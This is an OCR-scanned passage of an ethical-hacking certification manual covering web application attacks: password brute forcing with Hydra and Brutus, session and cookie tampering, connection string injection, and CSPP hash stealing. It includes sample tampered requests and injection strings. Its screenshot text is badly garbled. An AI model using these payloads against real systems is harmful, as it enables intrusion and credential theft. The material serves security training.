Source: http://www .thc.org
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THC-HYDRA is a network logon cracker that supports many different services. This tool is a

proof of concept code, to give researchers and security consultants the possibility to show how
easy it would be to gain unauthorized remote access to a system.

e 1 1 -t HydraGTK [hiflh!
<Dquit
Target Passwords |Tuning | Specific | Start | Target [ Passwords |Tuning |Specific Start
Username output
(> username testuset Hydra v4 1 (c) 2004 by van Hauser / THC ~use allowed only for legal purposes.
Hydra (http/.www thc org) starting at 2004-05+17 21 ;58:52
¢ Username List [DATA] 32 tasks. 1 servers. 45380 login tries (I:1/p:45380). ~1418 tries per task
[DATA] attacking service ftp on port 21
passwora [STATUS] 14056.00 tnes'min, 14056 tries in 00:01h. 31324 todo in 00:03h
¢ Password [STATUS] 14513.00 tnes”min. 29026 tries in 00:02h. 16354 todo in 00:02h
[21][Tip] host: 127.0.0.1 login: marc password: success
<@ password List Jitm pipasslist.txt Hydra (hltp/. www.thc org) finished at 2004-05-17 22:01.38

<flnished>
Cdon seperated file

Use Colon seperated file

(7 Try login as password F Try empty password Stari Stopj IOVE utput | Clear Output

fiydra 127.0.0.1 ftp <ltestuser +P /tmp/passlist.txt mens Aldra 127.0 0.1 ftp T marc -P /tm p/passlist.txt me ns -t 32

FIGURE 13.41: THC-Hydra Tool Screenshot

In addition to these tools, Burp Insider is also used for password guessing.
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Password Attacks: Brute-forcing! CEH
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Password Attacks: Brute Forcing

wavy 1 1 Brute force is one of the methods used for cracking passwords. In a brute forcing
attack, attackers crack the login passwords by trying all possible values from a set of alphabet,
numeric, and special characters. The main limitation of the brute force attack is this is
beneficial in identifying small passwords of two characters. Guessing becomes more crucial
when the password length is longer and also if it contains letters with both upper and lower
case. If numbers and symbols are used, then it might even take more than a few years to guess
the password, which is almost practically impossible. Commonly used password cracking tools

by attackers include Burp Suite's Intruder, Brutus, Sensepost's Crowbar, etc.
Burp Suite's Intruder

e > Source: http://portswigger.net

Burp Intruder is a module of BurpSuite. It enables the user to automatize pen testing on web

applications.
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burp suite free edition v1.4.01

ourp intruder repeater window about

intruder \ repeater [ sequencer f decoder [ comparer ' options \ alerts

spider scanner
target positions j payloads ' options
numDer of payloads: 1.679 616
number of requests 8.398 080
payload set |11 v | brute forcer v

character set  |[at)Cdefghijkimnopqtstuvwxy20123456789 j

max length

payload processing rules

to uppercase

FIGURE 13.42: Burp Suite's Intruder Tool Screenshot
Brutus

Source: http:// www.hoobie.net

Brutus is a remote password cracking tool. Brutus supports HTTP, POP3, FTP, SMB, Telnet,
IMAP, NNTP, and many other authentication types. It includes a multi-stage authentication

engine and can make 60 simultaneous target connections.

Brutus - AET2 - www .hoobie.net/brutus - (January 2000) T <
File Tools Help
Targe( [127 001 Tjpe |HTTP (BasicAuth) J | Stat | Slep | Cleat |
Connection Options
Pott Connections 10 Timeout rJ 10 I UseProxy Deline |
HTTP (Basic) Options
Method |HEAD n P KeepAive
Authentication Options
|7 Use Username f~ Single Use! Pass Mode |wotd List
Usei File |users, tdj Browse  Pass Fie |w wds.txt Biowse
Positive Authentication Results
Target Username Password
127.0.0.1/ HTTP (BasicAuth)  admin academic
127.0.0.V HTTP (Basic Auth)  backup
1?7nnv HTTP IRnsir Aijlhl arlmin

Opened user fie containing 6 users.
Opened password lile containing 818 Passwords
Maximum nurnhpr nf flulhenlicrtfinn alfpmnts wil he 4908

Timeout  Reject Auth Sea Throttle Quick Kill

FIGURE 13.43: Brutus Tool Screenshot
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Session Attacks: Session ID Prediction/Brute Forcing

Every time a user logs in to a particular website, then a session ID is given to the user.

This session ID is valid until the session isterminated and a new session ID is provided when the

user logs in again. Attackers try to exploit this session ID mechanism by guessing the next

session ID after collecting some valid session IDs.

0 Inthe first step, the attacker collects some valid session ID values by sniffing traffic from
authenticated users.

© Attackers then analyze captured session IDs to determine the session ID generation
process such as the structure of session ID, the information that is used to create it, and
the encryption or hash algorithm used by the application to protect it.

© In addition, the attacker can implement a brute force technique to generate and test
different values of the session ID until he or she successfully gets access to the
application.
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© Vulnerable session generation mechanisms that use session IDs composed by user name
or other predictable information, like timestamp or client IP address, can be exploited
by easily guessing valid session IDs.

GET http://lanalna:8180/WebGoat/attack?Ser«en-17& menu=410HTTP/1.1

Host:janaina:8180
User*Agent: Mozilla/5.0 (Window; U; Windows NT5.2; en*US;rv:1.8.1.4) Gecko/20070515 Firefox/2.0.04
Request Accept:text/xm lapplicatlon/xml,appllicatlon/xhtmk*m I,text/htmd;q-0.9,text/plain;q=0.8,Image/png,V "q=0.5

Referer: http://lanaina:8180/W ebGoat/attack?Screen=17& menu=410

Cookie; JSESSIONID=user01 's Predictable SessionCookie

Authorization: Basic23Vic3Q623VIc3Q

FIGURE 13.44: Session ID Prediction/Brute Forcing

For certain web applications, the session ID information is usually composed of a string of fixed
width. Randomness is essential in order to avoid prediction. From the diagram you can see that
the session ID variable is indicated by JSESSIONID and assuming its value as "userOl," which
corresponds to the user name. By guessing the new value for it, say as "user 02," it is possible

for the attacker to gain unauthorized access to the application.
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Ifthe cookie contains passwords or session identifiers, attackers can stealthe cookie using

techniques such as scriptinjection and eavesdropping
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Attackers then replay the cookie with the same or altered passwords or session identifiers to

bypass web application authentication

Attackers can trap cookies using tools such as OWASP Zed Attack Proxy, Burp Suite, etc.

Untifled Session - OWASP ZAP

S o< ool B2

| Requests j Resporse— Brga«.Xj

Hc

H
1 _Mcxilws.C ISiadct* tt €.2; EHKdt Appl«VebKit/537.4 (KETKL
Ilk+ Scckol ClcrOK*/22.0.122».94 S«C«X1/537.4

Cache-Conti01: oax-aoe=0

Accept! </«

Rererer: ntcr://in.yonoc.oca»/2p";3

Aeeept-Enccding:  adeft

Accept-Lan”uiqv: cn-US,«n;gh>.9

Accvpt-Chasavt: XSO-5559-1.at€-S;<f-C.7 +jq-0.3

Cookls: a<UId015S24S9e12Sarde: «<ur-:3S4«U~Cm3:

Hoats ti.adlsiezax.coa

— WIMJUjUBI -
it

History Seatdi ~ Alerts

1] arueKxe

vn s spioer

UR! found during aa*M

R found buioul of GlEscope

Alerts 1500-": po f)O

Cookie

E xploitation

Qurent Scans 0

https://www.owasp.org cunwscaM *o *o 0 wo
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Cookie Poisoning

Cookies frequently transmit sensitive credentials and can be modified with ease to

escalate access or assume the identity of another user.

Cookies are used to maintain a session state in the otherwise stateless HTTP protocol. Sessions

are intended to be uniquely tied to the individual accessing the web application. Poisoning of

cookies and session information can allow an attacker to inject malicious content or otherwise

modify the user's online experience and obtain unauthorized information.

Cookies can contain session-specific data such as user

IDs, passwords, account numbers, links

to shopping cart contents, supplied private information, and session IDs. Cookies exist as files

stored in the client computer's memory or hard disk. By modifying the data in the cookie, an

attacker can often gain escalated access or maliciously affect the user's session.

Many sites

offer the ability to "Remember me?" and store the user's information in a cookie, so he or she

does not have to re-enter the data with every visit to the site. Any private information entered

is stored in a cookie.

In an attempt to protect cookies, site developers often encode the

cookies. Easily reversible encoding methods such as Base64 and ROT13 (rotating the letters of

the alphabet 13 characters) give many who view cookies a false sense of security. If the cookie

contains passwords or session identifiers, attackers can steal the cookie using techniques such

as script injection and eavesdropping. Attackers then replay the cookie with the same or altered
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passwords or session identifiers to bypass web application authentication. Examples of tools
used by the attacker for trapping cookies include OWASP Zed Attack Proxy, Burp Suite, etc.

[®[" OWASP Zed Attack Proxy
Source: https:// www.owasp.org

OWASP Zed Attack Proxy Project (ZAP) is an integrated penetration testing tool for testing web
applications. It provides automated scanners as well as a set of tools that allow you to find

security vulnerabilities manually.

o Untitled Session - OWASP ZAP _1_10 x 1
| £ile Edit view Analyse Report Tools Help
1 1J td H ri ssi 0 Q v Q v-*0 b 0

f Sites(*! | f Requestt* j Responses" | Break >C ]

Header: Text  *j Body: Text T
» fom http /itr adinte

vy User-Agent: M ozilla/5.0 (Windows NT 6.2; WOW64) AppleW ebKit/537.4 (KHTML, 4
lllce Gecko) Chrome/22.0.1229.94 Safarl/S37.4 >
» U yahoo_
Cache-Control: max-age_0 3
Accept: */*
Referer: http://in.yahoo.com /?2p*“us
Accept-Encoding: sdch
Accept-Language: en-OS,en;q* 0.8
Accept-Charset: 1s0-88s9°1,utf-8;q-0.7,%:q-0.3 *!
Cookie: adxid-01582450612Saf46; adxf-10846667e16632
Host: tr.adinterax.com *
History" | search \ | Break Points \ Alerts
Active Scan J A~ spiders J Brute Force - [ Portscan 1 Fuzzert ] Params[ 3 J Output
site: tradinteraxcom:80 T | [> Il = Current Scans:0 ng?

URI found during crawl:

URI found but outofcrawl scope

Alerts 1”0 0 Current Scans 0 00

Figure 13.45: OWASP Zed Attack Proxy Tool Screenshot
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“-1— Authorization protects the web applications by giving authority to certain users for

accessing the applications and restricting certain users from accessing such applications.

Attackers by means of authorization attacks try to gain access to the information resources

without proper credentials. The ways to attack authorization schemes are explained on the

following slides.
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m  Attackers manipulate the HTTP requests to subvert the application authorization schemes by modifying input

fields that relate to user ID, user name, access group, cost, filenames, file identifiers, etc.

Attackers first access web application using low privileged account and then escalate privileges to access
protected resources

Query String Hidden Tags

Copyright® by EC-Cauactl. All Rights Reserved. Reproduction is Strictly Prohibited.

A uthorization A ttack

In an authorization attack, the attacker first finds the lowest privileged account and
then logs in as an authentic user and slowly escalates privileges to access protected resources.
Attackers manipulate the HTTP requests to subvert the application authorization schemes by

modifying input fields that relate to user |ID, user name, access group, cost, filenames, file
identifiers, etc.

The sources that are used by the attackers in order to perform authorization attacks include

uniform resource identifier, parameter tampering, POST data, HTTP headers, query string,
cookies, and hidden tags.

Parameter Tampering

Parameter tampering is an attack that is based on the manipulation of parameters

that are exchanged between server and client in order to modify the application data,

such as price and quantity of products, permissions and user credentials, etc. This information

is usually stored in cookies, URL query strings, or hidden form fields, and that is used to
increase in control and application functionality.

IE P P ostD ata
Post data often is comprised of authorization and session information, since in most
of the applications, the information that is provided by the client must be associated

Module 13 Page 1871 Ethical Hacking and Countermeasures Copyright © by EC-COUNCil

All Rights Reserved. Reproduction is Strictly Prohibited.



Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Hacking Web Applications

with the session that had provided it. The attacker exploiting vulnerabilities in the post data can
easily manipulate the post data and the information in it.
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HTTP Request Tampering CEH

Query String Tampering

J Ifthe query string is visible in the address bar on the browser, the attacker can easily change the

string parameter to bypass authorization mechanisms

h ttp : //lwww.juggyboy.com /m ail.aspx?m ailbox=john&company=acme% 20conl

https ://juggyshop.com /books/download/852741369 .pdf

https://juggybank.com /login/home.jsp?admin=true

J Attackers can use web spidering tools such as Burp Suite to scan the web app for POST parameters

HTTP Headers

J Ifthe application uses the Referer header for making access control decisions, attackers can modify it

to access protected application functionalities
QT http://juggyboy:8180/Applications/Download?itemD 201 HITR'L1
o) p:/ugayiboy-8180/Apl >

Agent Mozill (Window, U Windons Gad 20070615 Firefox/2.0.04
Accept?” text/xml, appllcatlon/xmlu appllcatlon/xhtn1+xnﬁextlhtmtl g) 0.9, text/plain;g=0.8,image/png,*/*' =05

Proxy-Connection: keep-alive
Referer: http: // juggyboy: 8180/Applications/Download?Admin = False

ItemID= 201 is not accessible asAdmin parameter is set to false, attacker can change it to true and access protected items

copyrighte by EC-Cauactl. All Rights Reserved. Reproduction is Strictly Prohibited.

HTTP RequestTampering

Attackers tamper with the HTTP request without using another user's ID. The attacker

I i_I_les the request in between before the message is received by the intended receiver.
1

Query String Tampering

An attacker tampers with the query string when the web applications use query
strings to pass on the messages between pages. If the query string is visible in the
address bar on the browser, the attacker can easily change the string parameter to bypass

authorization mechanisms.

FIGURE 13.46: Query String Tampering

Attackers can use web spidering tools such as Burp Suite to scan the web app for POST

parameters.
HTTP Headers
If the application uses the Referrer header for making access control decisions,
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attackers can modify it to access protected application functionalities.

&ET http://juggyboy:8180/Applications/Download?ltemID = 201 HTTP/1.1

Host: janaina:8180

U3er Agent: Mozilla/5.0 (Window; U; Windows NT 5.2; en-US; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.04

Accept: text/xml, application/xml, application/xhtml+xml,tsxt/htmtl;q-0.9,text/plain;q=0.8,image/png,*/*,q=0.5

Proxy-Connection: keep-alive
Referer: http://juggyboy:8180/Applications/Download?Admin = False

FIGURE 13.47: HTTP Headers

ItemID = 201 is not accessible as the Admin parameter is set to false; the attacker can change it

to true and access protected items.
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Inthe first step, the attacker collects some cookies set by the web application and analyzes
them to determine the cookie generation mechanism

The attacker then traps cookies set by the web application, tampers with its parameters

using tools, such as OWASP Zed Attack Proxy, and replay to the application

https://www.owasp.org

Copyright® by EC-Gauactl. All Rights Reserved. Reproduction is Strictly Prohibited.

i A uthorization Attack: Cookie Parameter Tampering

y.l. Cookie parameter tampering is a method used to tamper with the cookies set by the

web application in order to perform malicious attacks.

© In the first step, the attacker collects some cookies set by the web application and

analyzes them to determine the cookie generation mechanism.

© The attacker then traps cookies set by the web application, tampers with its parameters

using tools such as Paros Proxy, and replays to the application.

Source: https:// www.owasp.org
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W eb App Hacking M ethodology

Attack Session M anagementM echanism

The session management mechanism is the key security component in most web applications.
Since it plays a key role, it has become a prime target for launching malicious attacks against
application session management. An attacker breaking the application session management
can easily bypass the robust authentication controls and masquerade as another application
user without knowing their credentials (user name, passwords). The attacker can even take the
entire application under his or her control if he or she compromises an administrative user in
this way. The details about the attack session management mechanism are described in detail
on the following slides.
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Session Management Attack

Session M anagement Attack

A session management attack is one of the methods used by attackers to compromise
a network. Attackers break an application's session management mechanism to bypass the
authentication controls and impersonate a privileged application user. A session management
attack involves two stages; one is session token generation and the other is exploiting session
tokens handling.

In order to generate a valid session token, the attacker performs:
0 Session Tokens Prediction
© Session Tokens Tampering

Once the attacker generates the valid session token, the attacker tries to exploit the session

token handling in the following ways:
0 Session Hijacking
© Session Replay

Q Man-In-The-Middle Attack
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Attacking Session Token

Generation Mechanism EH

Weak Encoding Example

http s ://WWW .juggyboy.com /checkout?
SessionToken=% 75% 73% 65% 72% 3D % 6A % 61% 73% 6F % 6E % 3B% 61% 70% 70% 3D % 61% 64% 6D % 69% 6E % 3B % 6

4% 61% 74% 65% 3D % 32% 33% 2F % 31% 31% 2F% 32% 30% 31% 30

When hex-encoding of an ASCII string L@ﬁjm;mﬂin;dﬂt@:ﬂ"m

session token by just changing date and use it for another transaction with server

Session Token Prediction

Attackers obtain valid session tokens by sniffing the traffic or legitim ately logging into application and

analyzing it for encoding (hex-encoding, Base64) or any pattern

ifany meaning can be reverse engineered from the sample ofsession tokens, attackers attem ptto

guess the tokens recently issued to other application users

Attackers then make a large number of requests with the predicted tokens to a session-dependent

page to determine a valid session token

Copyrighte by ERCSIMCH. A1l Rights Reserved. Reproduction isS trictly Prohibited.

A ttacking Session Token G eneration M echanism

Attackers steal valid session tokens and then predict the next session token after
obtaining the valid session tokens.

G W eak Encoding Example

https://www.juggyboy.com/checkout?

SessionToken=%75%73%65%72%3D%6A%61%73%6F%6E%3B%61%70%70%3D%61%64%6D%69%6E%3B%

64%61%74%65%3D%32%33%2F%31%31%2F%32%30%31%30

When hex-encoding of an ASCII string user=jason;app=admin;date=23/1l/2010, the attacker
can predict another session token by just changing the date and using it for another transaction
with the server.

Session Token Prediction

Attackers obtain valid session tokens by sniffing the traffic or legitimately logging into
application and analyzing it for encoding (hex-encoding, Base64) or any pattern. If any meaning
can be reverse engineered from the sample of session tokens, attackers attempt to guess the
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tokens recently issued to other application users. Attackers then make a large number of
requests with the predicted tokens to a session-dependent page to determine a valid session.
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A ttacking Session Tokens Handling r c

M echanism : Session Token S niffing JL N m

[ Attackers sniff the application traffic using a sniffing tool such as Wireshark or an intercepting proxy such as Burp. If
HTTP cookies are being used as the transmission mechanism for session tokens and the secure flag is not set, attackers
can replay the cookie to gain unauthorized accessto application

m  Attacker can use session cookies to perform session hijacking, session replay, and Man-in-the-Middle attacks

A ttacking Session Tokens Handling M echanism

Session Token S niffing

Attackers first sniff the network traffic for valid session tokens and then predict the next session
token based on the sniffed session token. The attacker uses the predicted session ID to
authenticate him or herself with the target web application. Thus, sniffing the valid session
token is important in session management attacks. Attackers sniff the application traffic using a
sniffing tool such as Wireshark or an intercepting proxy such as Burp. If HTTP cookies are being
used as the transmission mechanism for session tokens and the security flag is not set,
attackers can replay the cookie to gain unauthorized access to application. Attackers can use

session cookies to perform session hijacking, session replay, and man-in-the-middle attacks.
W ireshark
Source: http://www .wireshark.org

Wireshark is a network protocol analyzer. It lets you capture and interactively browse the traffic
running on a computer network. It captures live network traffic from Ethernet, IEEE 802.11,
PPP/HDLC, ATM, Bluetooth, USB, Token Ring, Frame Relay, and FDDI networks. Captured files

can be programmatically edited via the command line.
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[Wireshark 1.8.2 (SVN Rev 44520 from /trunk1.8")]

£ile Edit yiew Jjo Capture Analyze Statistics Telephony Jools Internals Help

stv a a m B (3 8. Q. 8,0

Filter v Expression... Clear Apply Save

No. Time Source Destination Protocol Length Info
18 3.9861600010.0.0.2 74.125.236.161 TCP 54 service-ctrl > https [ack] seq=38 Ack=38 wii
19 5.15634 300 fe 80 ::b9ea:d O I1:3e0ff02::1:2 DHCPV6 150 S o licit XID: 0x5a82df CID: 0001000117e22aab’
20 5.6956690010.0.0.2 74.125.135.125 TCcP 91 [TCP segment of a reassembled PDU]
21 5.75832600 74.125.135.125 10.0.0.2 TCP 60 xm pp-client > gqwave [ack] seq-1 Ack-38 win—
22 5.99963300 fe80::5df8:C2d8:5bbff02::1:2 DHCPV6 150 S o licit XID: 0x83e049 CID: 0001000117e8elde’
23 7.04247600 10.0.0.5 123.108.40.33 TCP 66 webmail-2 > http [syn] seq=0 win=8192 Len=0
24 7.07632400 123.108.40.33 10.0.0.5 TCP 60 http > webmail-2 [syn, ack] seq=0 Ack=l win~
25 7.07669100 10.0.0.5 123.108.40.33 TCP 60 webmail-2 > http [ack] seq=| Ack=| win=6424!
26 7.0769000010.0.0.5 123.108.40.33 HTTP 1197 GET /newm ail/mailsignout. php HTTP/1.1
27 7.13042700 123.108.40.33 10.0.0.5 TCcP 60 http > webmail-2 [ack] seq | Ackl1144° win=8
28 7.13573500123.108.40.33 10.0.0.5 TCP 1514 [tcp segment of a reassembled pdu]
29 7.13663500123.108.40. 33 228 HTTP/1.1 200 OK (text/htm I)

<1 u >

<1 H Il

0060 3a 32 32 3a 33 34 20 47 4d 54 Od Oa 53 65 72 76 22:34 G MT..Serv

0070 65 U 3a 20 41 "0 bl 63 68 bb Od Oa 53 65 /4 2d er: Apac he..Set-

0080 43 6t 6f 6b 69 65 3a 20 5f 6e 31 38 75 5f 3d 64 cookie: n18u =d -

0090 65 6c 65 74 65 64 3b 20 65 78 70 69 72 65 73 3d eleted; expires-

00a0 54 68 75 2c 20 32 32 2d 53 65 70 2d 32 30 31 31 Thu, 22- sep-2011

oobo 20 31 30 3a 32 32 3a 33 33 20 47 4d 54 3b 20 70 10:22:3 3 GMT; p

00cO 61 74 68 3d 2f 3b 20 64 6f 6d 61 69 6e 3d 2e 69 ath-/; d omain-.1I

00d0 6e 2e 63 61 6d Od Oa 45 78 70 69 72 65 73 3a 20 n.com .. E xpires:

00e0 54 68 75 2c¢c 20 31 39 20 4e 6f 76 20 31 39 38 31 Thu, 19 Nov 1981

oofo 20 30 38 3a 35 32 3a 30 30 20 47 4d 54 Od Oa 43 08:52:0 0 GMT..C

0100 61 63 68 65 2d 43 6f 6e 74 72 6f 6C 3a 20 6e 6f ache-con tro I: no

0110 2d 73 74 6f 72 65 2c 20 6e 6f 2d 63 61 63 68 65 -store, no-cache

0120 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 , must-r evalidat

0130 65 2c 20 70 6f 73 74 2d 63 68 65 63 6b 3d 30 2c e, post- check=0.

0140 20 70 72 65 2d 63 68 65 63 6b 3d 30 Od Oa 50 72 pre-che ck=0..Pr v

. 2T File: "EACEH-TOOIS\CEHV8 Module 08 Sniffers’ Packets: 2266 Displayed: 2266 Marked: 0 Load time: 0:00.254 Profile: Default

FIGURE 13.49: W ireshark Tool Screenshot
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Infrastructure Applications Schemes Injection Attacks Web App Client
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I-HH Injection attacks are very common in web applications. There are many types of
injection attacks such as web scripts injection, OS commands injection, SMTP injection, SQL
injection, LDAP injection, and XPath injection. Apart from all these injection attacks, a
frequently occurring attack is a SQL injection attack. Injection frequently takes place when the
data that is given by the user is sent to the interpreter as a part of a command or query. For
launching an injection attack, the attacker supplies the crafted data that tricks and makes the
interpreter to execute the commands or query that are unintended. Because of the injection
flaws, the attacker can easily read, create, update, and remove any of the arbitrary data, i.e.,
available to the application. In some cases, the attacker can even bypass a deeply nested
firewall environment and can take complete control over the application and the underlying

system. The detail of each injection attack is given on the following slides.
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InjecionAttad<s

J In injection attacks, attackers supply crafted m alicious input thatis syntactically correctaccording to

Urtifwd ilhiul  1UthM

the interpreted language being used in orderto break application's normal intended

Web Scripts Injection SQL Injection
If userinput is used into code that isdynamically

D executed, enter crafted input that breaksthe B
intended data context and executes commands on

Enter a series of malicious SQL queries
into input fields to directly manipulate

the database

the server

S Commands Injection LDAP Injection

xploitoperating systems by entering Take advantage of non-validated web

alicious codes in input fields if applications W application input vulnerabilities to pass LDAP
utilize user input in a system -level command filters to obtain direct access to databases
MTP Injection XPath Injection

jectarbitrary STMP commands into Enter malicious strings in input fields in
pplication and SMTP server conversation to B order to manipulate the XPath query so
generate large volumes ofspam email that it interferes with the application's logic

Note: Forcomplete coverage of SQL Injection concepts and techniques referto Module 14:SQL Injection
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In jection Attacks

In injection attacks, attackers supply crafted malicious input that is syntactically correct
according to the interpreted language being used in order to break the application's normally

intended input.

Q Web Scripts Injection: If user input is used in code that is dynamically executed, enter
crafted input that breaks the intended data context and executes commands on the

server

Q OS Commands Injection: Exploit operating systems by entering malicious code in input
fields if applications utilize user input in a system-level command

© SMTP Injection: Inject arbitrary SMTP commands into application and SMTP server

conversation to generate large volumes of spam email

0 SQL Injection: Enter a series of malicious SQL queries into input fields to directly

manipulate the database

© LDAP Injection: Take advantage of non-validated web application input vulnerabilities

to pass LDAP filters to obtain direct access to databases

© XPath Injection: Enter malicious strings in input fields in order to manipulate the XPath

query so that it interferes with the application's logic
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Note: For complete coverage of SQL Injection concepts and techniques, refer to Module 14:
SQL Injection Attacks.
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W eb App Hacking M ethodology

A AN®T) Attacking the data connectivity allows the attacker to gain unauthorized control over

the information in the database. The various types of data connectivity attacks and their

causes as well as consequences are explained in detail on the following slides.
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Attack Data Connectivity CEH

Y r—
Database connection strings are used Database connectivity attacks exploit
to connectapplications to database the way applications connect to the
engines database instead ofabusing
" database queries
Data Source=Server,Port; or r
Network Library:DBMSSOCN; Data Connectivity Attacks
Initial Catalog=DataBase; Orr S Connection String Injection
User ID=Username;
Orr S cConnection String Parameter

Password=pwd;"

Or r Pollution (CSPP) Attacks

Example of acommon connection S Connection Pool DoS
<s=0©

string used to connectto a M icrosoft

SQL Server database

OTr

J1

copyrighte by ECG-Gauactl. Al Rights Reserved. Reproduction is Strictly Prohibited.

A ttack Data C onnectivity
AA

Attackers directly attack data connectivity so that they can access sensitive
information available in the database. Database connectivity attacks exploit the way

applications connect to the database instead of abusing database queries.
Data Connectivity Attacks

© Connection String Injection

© Connection String Parameter Pollution (CSPP) Attacks

© Connection Pool DoS

Database connection strings are used to connect applications to database engines:

"Data Source=Server,Port; Network Library=DBMSSOCN; Initial Catalog=DataBase;
User ID=Username; Password=pwd;"

Example of acommon connection string used to connectto a Microsoft SQL Server database
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Connection String Injection CEH

In adelegated authentication environm ent, the attacker injects param eters in a

connection string by appending them w ith the semicolon (;) character

A connection string injection attack can occurwhen a dynamic string concatenation

is used to build connection strings based on userinput

Before Injection

"Data Source=Server,Port; Network Library=DBMSSOCN; Initial Catalog=DataBase;
User ID=Username; Password=pwd;"

A fter Injection

"Data Source=Server,Port; Network Library=DBMSSOCN; Initial Catalog=DataBase;
User ID=Username; Password=pwd; Encryption=0ff"

When the connection string is populated, the Encryption value will be added to the previously configured set

of parameters

Copyright® by EC-Gauactl. All Rights Reserved. Reproduction is Strictly Prohibited.

Connection String Injection

M A connection string injection attack can occur when dynamic string concatenation is
used to build connection strings that are based on user input. If the string is not validated and
malicious text or characters not escaped, an attacker can potentially access sensitive data or
other resources on the server. For example, an attacker could mount an attack by supplying a
semicolon and appending an additional value. The connection string is parsed by using a "last

one wins" algorithm, and the hostile input is substituted for a legitimate value.

The connection string builder classes are designed to eliminate guesswork and protect against
syntax errors and security vulnerabilities. They provide methods and properties corresponding
to the known key/value pairs permitted by each data provider. Each class maintains a fixed
collection of synonyms and can translate from a synonym to the corresponding well-known key
name. Checks are performed for valid key/value pairs and an invalid pair throws an exception.
In addition, injected values are handled in a safe manner.

Before injection

The Common connection string gets connected to the Microsoft SQL Server database as shown

as follows:
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"Data Source=Server,Port; Network Library=DBMSSOCN; 1Initial Catalog=DataBase;
User ID=Username; Password=pwd;"

FIGURE 13.50: Before injection

After injection

The attackers can easily inject parameters just by joining a semicolon (;) character using

connection string injection techniques in a delegated authentication environment.

In the following example, the user is asked to give a user name and password for creating a
connection string. Here the attacker enters the password as "pwd; Encryption=off"; it means
that the attacker has voided the encryption system. The resulting connection string becomes:

"Data Source=Server,Port; Network Library=DBMSSOCN; Initial Catalog=DataBase;
User ID=Username; Password=pwd; Encryption=0off"

FIGURE 13.51: A fter injection

When the connection string is populated, the encryption value will be added to the previously

configured set of parameters.
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Connection String Parameter r ClII
Pollution (CSPP) Attacks dEN

Attacker tries to connect to the
database by using the Web
Application System account
instead of a user-provided set of

credentials
Data source - SQL2005; Data source " SQL2005; initia |l Data source ~ SQL2005; in itial
initial catalog " dbl; catalog " dbl; integrated catalog " dbl/ integrated
integrated security”"no; user security"no; user id";Data secrurity"no; user id" ;Data
id" ;Data Source" Rogue Source"Target Server, Target Source—Target Server, Target
Server; Password"; Portm443; Password" ; Port; Passwordm; Integrated
Integrated Security”"true; Integrated Security"true; Security"true;

Attacker will then sniff Windows
credentials (password hashes) when
the application tries to connect to
Rogue_Serverwith the Windows
credentials it's running on

Ccopyrighte by EC-Cauactl. All Rights Reserved. Reproduction is Strictly Prohibited.

Connection String Parameter Pollution (CSPP)

A ttacks
Connection string parameter pollution (CSPP) is used by attackers to steal user IDs and to hijack
web credentials. CSPP exploits specifically the semicolon delimited database connection strings

that are constructed dynamically based on the user inputs from web applications. In CSPP

attacks, attackers overwrite parameter values in the connection string.

Hash Stealing

An attacker replaces the value of data source parameter with that of a Rogue
Microsoft SQL Server connected to the Internet running a sniffer:

Data source = SQL2005; initial catalog dbl; integrated security=no; user
ID=;Data Source=zRogue Server; Password= Integrated Security=true;

Attackers will then sniff Windows credentials (password hashes) when the application tries to
connect to Rogue_Server with the Windows credentials it's running on.

Port Scanning

1 Attacker tries to connect to different ports by changing the value and seeing the error
messages obtained.
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Data source = SQL2005; initial catalog = dbl; integrated security=no; wuser
ID=;Data Source=Target Server, Target Port=443; Password=; Integrated
Security=true;

Hijacking Web Credentials
Attacker tries to connect to the database by using the Web Application System
account instead of a user-provided set of credentials.

Data source = SQL2005; initial catalog = dbl; integrated security=no; user
ID=;Data Source=Target Server, Target Port; Password=; Integrated
Security=true;
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Attacker examines the connection pooling settings ofthe application,
constructs a large m alicious SQL query, and runs m ultiple queries
simultaneously to consume allconnections in the connection pool, causing

database queries to fail for legitim ate users

Example:

By default in ASP.NET,the maximum allowed connections in the pool is &.

100 and tim eoutis 30 seconds

Thus, an attackercan run 100 m ultiple queries w ith 30+ seconds
execution tim e within 30 seconds to cause a connection pool DoS such
thatno one else would be able to use the database-related parts ofthe

application
Copyright® by EC-Cauactl. All Rights Reserved. Reproduction is Strictly Prohibited.

* Connection Pool DoS

The attacker examines the connection pooling settings of the application, constructs a
large malicious SQL query, and runs multiple queries simultaneously to consume all connections

in the connection pool, causing database queries to fail for legitimate users.

Example:

By default, in ASP.NET, the maximum allowed connections in the pool is 100 and timeout is 30
seconds.

Thus, an attacker can run 100 multiple queries with 30+ seconds execution time within 30
seconds to cause a connection pool DoS such that no one else would be able to use the

database related parts of the application.
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Web App Hacking Methodology CEH

(ertifwd  itfciul  IUilwt

Attack
Footprint Web Analyze Web Authorization Perform Attack
Infrastructure Applications Schemes Injection Attacks Web App Client

W eb App Hacking M ethodology

Attack Web App Client

Attacks performed on a server-side application infect the client-side application when the
client-side application interacts with these malicious server or process malicious data. The
attack on the client side occurs when the client establishes a connection with the server. If
there is no connection between client and server, then there is no risk. This is because no
malicious data is passed by the server to the client. Consider an example of a client-side attack
where an infected web page targets a specific browser weakness and exploits it successfully. As

a result, the malicious server gains unauthorized control over the client system.
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Atz Apdient

J Attackers interactw ith the server-side applications in unexpected ways in order to perform malicious

actions againstthe end users and access unauthorized data

Redirection Frame Session ActiveX
Attacks Injection Fixation Attacks

Cross-Site HTTP Header Request Privacy
Scripting Injection Forgery Attack Attacks
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Attack W eb App Client

Attackers interact with the server-side applications in unexpected ways in order to
perform malicious actions against the end users and access unauthorized data. Attackers use
various methods to perform the malicious attacks.

The following are the malicious attacks performed by attackers to compromise client-side web

applications:

© Cross-Site Scripting
Redirection Attacks
HTTP Header Injection
Frame Injection
Request Forgery Attacks
Session Fixation

Privacy Attacks

®©® © © e 6o o o

ActiveX Attacks
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An attacker bypasses the clients ID's security mechanism and gains the access
privileges, and then injects the malicious scripts into the web pages of a particular

website. These malicious scripts can even rewrite the HTML content of the website.
R edirection Attacks

|) lfl Attackers develop codes and links in such a way that they resemble the main site that
the user wants to visit; however, when a user wants to visit the respective site, the user
is redirected to the malicious website where there is a possibility for the attacker to obtain the

user's credentials and other sensitive information.
t HTTP Header Injection

An attacker splits the HTTP response into multiple responses by injecting a malicious
response in HTTP headers. This attack can deface websites, poison the cache, and trigger cross-

site scripting.
Frame Injection

When scripts don't validate their input, codes are injected by the attacker through
frames. This affects all the browsers and scripts which doesn't validate untrusted input. These
